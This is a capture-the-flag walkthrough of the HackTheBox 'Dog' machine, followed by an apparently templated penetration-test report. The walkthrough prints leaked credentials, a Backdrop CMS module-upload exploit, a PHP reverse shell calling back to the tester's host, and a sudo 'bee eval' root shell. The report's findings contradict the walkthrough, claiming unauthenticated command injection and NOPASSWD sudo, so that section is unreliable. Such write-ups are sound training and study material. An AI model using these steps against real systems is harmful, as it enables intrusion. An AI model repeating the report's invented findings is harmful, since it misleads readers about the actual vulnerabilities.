HackTheBox: Dog — Easy (Linux)

Full security assessment walkthrough for Dog on HackTheBox. Includes reconnaissance, enumeration, exploitation steps, and a professional penetration testing report with CVSS v3.1 scores and remediation guidance.

lazyhackers
Mar 26, 2026 · 1 min read · 1 views
Dog
HackTheBox
Linux Easy

🔖 Techniques & Vulnerabilities

GitBackdropCMSRemoteCodeExecutionRCEremote code executionsudo

🔍 Reconnaissance / Port Scanning

nmap scan
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.47.82
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 20:01 CET
Nmap scan report for 10.129.47.82
Host is up (0.018s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git: 
|   10.129.47.82:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-title: Home | Dog
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.58 seconds

🎯 Attack Surface Analysis

PortServiceVersion / Banner
22/tcpsshOpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcphttpApache httpd 2.4.41 ((Ubuntu))
22/tcpSSH
  • Credential brute-force and password spraying
  • Username enumeration via timing side-channel in older OpenSSH versions
  • Weak or reused private key material granting unauthorised access
  • Version-specific CVE research based on banner fingerprint
  • Lateral movement using credentials discovered from other services
80/tcpHTTP
  • Content and directory discovery — hidden files, backup archives, development endpoints
  • CMS/framework fingerprinting enables targeted CVE research (WordPress, Joomla, Drupal)
  • SQL injection — database extraction, authentication bypass, or OS command execution
  • Command injection — OS execution via unsanitised parameter handling
  • Server-Side Template Injection (SSTI) — code execution through template engine abuse
  • Local File Inclusion (LFI) and path traversal — sensitive file disclosure
  • Server-Side Request Forgery (SSRF) — pivot to internal services and cloud metadata
  • File upload abuse — filter bypass for webshell placement
  • XML External Entity injection (XXE) in XML-consuming endpoints
  • Authentication and session weaknesses — weak passwords, predictable tokens

📖 Walkthrough

Reconnaissance

Port Scanning

As expected the box started with only port 22/TCP and port 80/TCP open. Also Nmap showed the presence of a Git Repository.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.129.47.82
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-08 20:01 CET
Nmap scan report for 10.129.47.82
Host is up (0.018s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git: 
|   10.129.47.82:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-title: Home | Dog
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.58 seconds

Enumeration of Port 80/TCP

We started with the enumeration of port 80/TCP and found a website running Backdrop CMS.

┌──(kali㉿kali)-[~]
└─$ whatweb http://10.129.47.82/
http://10.129.47.82/ [200 OK] Apache[2.4.41], Content-Language[en], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.47.82], UncommonHeaders[x-backdrop-cache,x-generator], X-Frame-Options[SAMEORIGIN]

Dumping Git Repository

We used git-dumper to download the Git Repository. The performance of the box unfortunately was quite bad so we needed a few attempts to receive all files.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Dog/files]
└─$ git-dumper http://dog.htb/ dump                                              
[-] Testing http://dog.htb/.git/HEAD [200]
[-] Testing http://dog.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dog.htb/.git/ [200]
<--- CUT FOR BREVITY --->

Investigating Git Repository

We investigated the content to find any credentials for the login page of Backdrop CMS.

┌──(kali㉿kali)-[/media/…/Machines/Dog/files/dump]
└─$ ls -la
total 60
drwxrwx--- 1 root vboxsf   164 Mar  8 20:21 .
drwxrwx--- 1 root vboxsf     8 Mar  8 20:20 ..
drwxrwx--- 1 root vboxsf   222 Mar  8 20:21 core
drwxrwx--- 1 root vboxsf   146 Mar  8 20:21 files
drwxrwx--- 1 root vboxsf   128 Mar  8 20:21 .git
-rwxrwx--- 1 root vboxsf   578 Mar  8 20:21 index.php
drwxrwx--- 1 root vboxsf    18 Mar  8 20:21 layouts
-rwxrwx--- 1 root vboxsf 18092 Mar  8 20:21 LICENSE.txt
-rwxrwx--- 1 root vboxsf  5285 Mar  8 20:21 README.md
-rwxrwx--- 1 root vboxsf  1198 Mar  8 20:21 robots.txt
-rwxrwx--- 1 root vboxsf 21732 Mar  8 20:21 settings.php
drwxrwx--- 1 root vboxsf    36 Mar  8 20:21 sites
drwxrwx--- 1 root vboxsf    18 Mar  8 20:21 themes

There was just one commit which revealed a potential username.

┌──(kali㉿kali)-[/media/…/Machines/Dog/files/dump]
└─$ git log
commit 8204779c764abd4c9d8d95038b6d22b6a7515afa (HEAD -> master)
Author: root <[email protected]>
Date:   Fri Feb 7 21:22:11 2025 +0000

    todo: customize url aliases.  reference:https://docs.backdropcms.org/documentation/url-aliases
Username
dog

As we took a closer look at the settings.php we found credentials for the MySQL Database.

┌──(kali㉿kali)-[/media/…/Machines/Dog/files/dump]
└─$ head -20 settings.php
<?php
/**
 * @file
 * Main Backdrop CMS configuration file.
 */

/**
 * Database configuration:
 *
 * Most sites can configure their database by entering the connection string
 * below. If using primary/replica databases or multiple connections, see the
 * advanced database documentation at
 * https://api.backdropcms.org/database-configuration
 */
$database = 'mysql://root:[email protected]/backdrop';
$database_prefix = '';

/**
 * Site configuration files location.
 *
UsernamePassword
rootBackDropJ2024DS2024

Within bootstrap.inc we found the version of Backdrop CMS.

┌──(kali㉿kali)-[/media/…/files/dump/core/includes]
└─$ grep -A 2 -B 2 version bootstrap.inc

/**
 * The current system version.
 */
define('BACKDROP_VERSION', '1.27.1');
--

/**
 * Minimum supported version of PHP.
 */
define('BACKDROP_MINIMUM_PHP', '5.6.0');
<--- CUT FOR BREVITY --->

And update.settings.json contained another username.

┌──(kali㉿kali)-[/media/…/Machines/Dog/files/dump]
└─$ grep -A 3 -B 3 -iar dog .
<--- CUT FOR BREVITY --->
./files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json:        "[email protected]"
<--- CUT FOR BREVITY --->
Username
tiffany

Backdrop CMS

Password Reuse

Through password reuse we were able to login to the dashboard of Backdrop CMS.

UsernamePassword
tiffanyBackDropJ2024DS2024

Foothold

Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)

Now with working credentials the way to create a malicious plugin to achieve Remote Code Execution (RCE) as authenticated user.

However the Install modules page indicated that the Zip PHP extension was not loaded. That meant we needed to keep that in the back of our heads when it comes to the malicious plugin.

Therefore we downloaded the exploit from Exploit-DB and executed it once to generate the necessary files.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Dog/files]
└─$ ./52021 http://10.129.47.82/?q=admin/dashboard
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.129.47.82/?q=admin/dashboard/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.129.47.82/?q=admin/dashboard/modules/shell/shell.php

As next step we unzipped the generated .zip file and replaced it with a reverse shell payload by the amazing Ivan Sincek.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Dog/files]
└─$ unzip shell.zip
Archive:  shell.zip
replace shell/shell.info? [y]es, [n]o, [A]ll, [N]one, [r]ename: A
 extracting: shell/shell.info        
 extracting: shell/shell.php
┌──(kali㉿kali)-[/media/…/Machines/Dog/files/shell]
└─$ wget https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/refs/heads/master/src/reverse/php_reverse_shell.php   
--2025-03-08 20:41:24--  https://raw.githubusercontent.com/ivan-sincek/php-reverse-shell/refs/heads/master/src/reverse/php_reverse_shell.php
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9403 (9.2K) [text/plain]
Saving to: ‘php_reverse_shell.php’

php_reverse_shell.php                                      100%[========================================================================================================================================>]   9.18K  --.-KB/s    in 0.002s  

2025-03-08 20:41:24 (3.90 MB/s) - ‘php_reverse_shell.php’ saved [9403/9403]

We renamed it to shell.php to match the shell.info and updated the IP address and port.

┌──(kali㉿kali)-[/media/…/Machines/Dog/files/shell]
└─$ mv php_reverse_shell.php shell.php
┌──(kali㉿kali)-[/media/…/Machines/Dog/files/shell]
└─$ tail -10 shell.php
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.14.83', 9001);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>

Next instead of trying to upload a .zip file we created a .tar.gz archive and uploaded that once instead.

┌──(kali㉿kali)-[/media/…/HTB/Machines/Dog/files]
└─$ tar -czvf shell.tar.gz shell/
shell/
shell/shell.info
shell/shell.php

It worked as expected and after we triggered the reverse shell payload by accessing the following URL we received a callback.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.83] from (UNKNOWN) [10.129.47.82] 57288
SOCKET: Shell has connected! PID: 1776
python3 -c 'import pty;pty.spawn("/usr/bin/bash")'
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@dog:/var/www/html/modules/shell$ ^Z
zsh: suspended  nc -lnvp 9001
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg
[1]  + continued  nc -lnvp 9001

www-data@dog:/var/www/html/modules/shell$ 
www-data@dog:/var/www/html/modules/shell$ export xterm=XTERM
www-data@dog:/var/www/html/modules/shell$

Enumeration

Through a quick enumeration we found another user called johncusack.

www-data@dog:/var/www/html/modules/shell$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@dog:/var/www/html/modules/shell$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
Username
jobert
johncusack

Privilege Escalation to johncusack

Password Reuse

Another password reuse allowed us to switch the session directly to johncusack and therefore we were able to use SSH to gain a proper shell.

www-data@dog:/var/www/html/modules/shell$ su johncusack
Password: 
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
sh: 0: getcwd() failed: No such file or directory
johncusack@dog:/var/www/html/modules/shell$
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
The authenticity of host '10.129.47.82 (10.129.47.82)' can't be established.
ED25519 key fingerprint is SHA256:M3A+wMdtWP0tBPvp9OcRf6sPPmPmjfgNphodr912r1o.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:121: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.47.82' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat 08 Mar 2025 07:53:20 PM UTC

  System load:           0.93
  Usage of /:            49.3% of 6.32GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             235
  Users logged in:       0
  IPv4 address for eth0: 10.129.47.82
  IPv6 address for eth0: dead:beef::250:56ff:fe94:dde5


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


johncusack@dog:~$

user.txt

We grabbed the user.txt and moved on.

johncusack@dog:~$ cat user.txt
344d6bdda332800279c18fdebc2ad44e

Pivoting

The pivoting of johncusack showed that he was allowed to execute /usr/local/bin/bee using sudo which was a Symbolic Link to /backdrop_tool/bee/bee.php which belong to Backdrop CMS.

johncusack@dog:~$ id
uid=1001(johncusack) gid=1001(johncusack) groups=1001(johncusack)
johncusack@dog:~$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee
johncusack@dog:~$ file /usr/local/bin/bee
/usr/local/bin/bee: symbolic link to /backdrop_tool/bee/bee.php
johncusack@dog:~$ cat /usr/local/bin/bee
#!/usr/bin/env php
<?php
/**
 * @file
 * A command line utility for Backdrop CMS.
 */

// Exit gracefully with a meaningful message if installed within a web
// accessible location and accessed in the browser.
if (!bee_is_cli()) {
  echo bee_browser_load_html();
  die();
}

// Set custom error handler.
set_error_handler('bee_error_handler');

// Include files.
require_once __DIR__ . '/includes/miscellaneous.inc';
require_once __DIR__ . '/includes/command.inc';
require_once __DIR__ . '/includes/render.inc';
require_once __DIR__ . '/includes/filesystem.inc';
require_once __DIR__ . '/includes/input.inc';
require_once __DIR__ . '/includes/globals.inc';

// Main execution code.
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();

/**
 * Custom error handler for `bee`.
 *
 * @param int $error_level
 *   The level of the error.
 * @param string $message
 *   Error message to output to the user.
 * @param string $filename
 *   The file that the error came from.
 * @param int $line
 *   The line number the error came from.
 * @param array $context
 *   An array of all variables from where the error was triggered.
 *
 * @see https://www.php.net/manual/en/function.set-error-handler.php
 * @see _backdrop_error_handler()
 */
function bee_error_handler($error_level, $message, $filename, $line, array $context = NULL) {
  require_once __DIR__ . '/includes/errors.inc';
  _bee_error_handler_real($error_level, $message, $filename, $line, $context);
}

/**
 * Detects whether the current script is running in a command-line environment.
 */
function bee_is_cli() {
  return (empty($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}

/**
 * Return the HTML to display if this page is loaded in the browser.
 *
 * @return string
 *   The concatentated html to display.
 */
function bee_browser_load_html() {
  // Set the title to use in h1 and title elements.
  $title = "Bee Gone!";
  // Place a white block over "#!/usr/bin/env php" as this is output before
  // anything else.
  $browser_output = "<div style='background-color:white;position:absolute;width:15rem;height:3rem;top:0;left:0;z-index:9;'>&nbsp;</div>";
  // Add the bee logo and style appropriately.
  $browser_output .= "<img src='./images/bee.png' align='right' width='150' height='157' style='max-width:100%;margin-top:3rem;'>";
  // Add meaningful text.
  $browser_output .= "<h1 style='font-family:Tahoma;'>$title</h1>";
  $browser_output .= "<p style='font-family:Verdana;'>Bee is a command line tool only and will not work in the browser.</p>";
  // Add the document title using javascript when the window loads.
  $browser_output .= "<script>window.onload = function(){document.title='$title';}</script>";
  // Output the combined string.
  return $browser_output;
}

Privilege Escalation to root

The script provided a lot of options and the most interesting to us was the execution of PHP code through eval. We pointed it to the root directory for the bootstrap and spawned a new shell as root.

johncusack@dog:~$ sudo /usr/local/bin/bee --root=/var/www/html eval 'system("/usr/bin/bash");'
root@dog:/var/www/html#

root.txt

root@dog:~# cat root.txt 
c460c7867074d890578e27646e506095

📋 Security Assessment Report

1
Critical
1
High
0
Medium
2
Open Ports
F-001 — OS Command Injection — Remote Code Execution
9.8
Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.

Impact

An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Never construct shell commands from user-supplied input under any circumstances. Replace shell invocations with language-native APIs that accept argument arrays (subprocess.run with list in Python, proc_open with array in PHP, execFile in Node.js). Apply strict allowlist validation to any parameter that influences system-level operations. Run the application under a dedicated low-privilege service account. Implement process monitoring to alert on anomalous child process spawning from web server processes.
F-002 — Sudo Misconfiguration — Root Privilege Escalation
7.8
High
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.

Impact

An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.

Confidentiality
High
Integrity
High
Availability
High

Remediation

Audit all sudoers entries and apply strict least privilege — grant only the minimum required binary with explicit, restricted arguments where possible. Avoid granting sudo access to interpreters (python, perl, ruby), text editors, file management utilities, or any binary listed in GTFOBins. Remove NOPASSWD where feasible. Periodically review sudoers entries using visudo and remove any unnecessary grants. Consider purpose-built privilege delegation tools as an alternative to broad sudo grants.
Reactions

Related Articles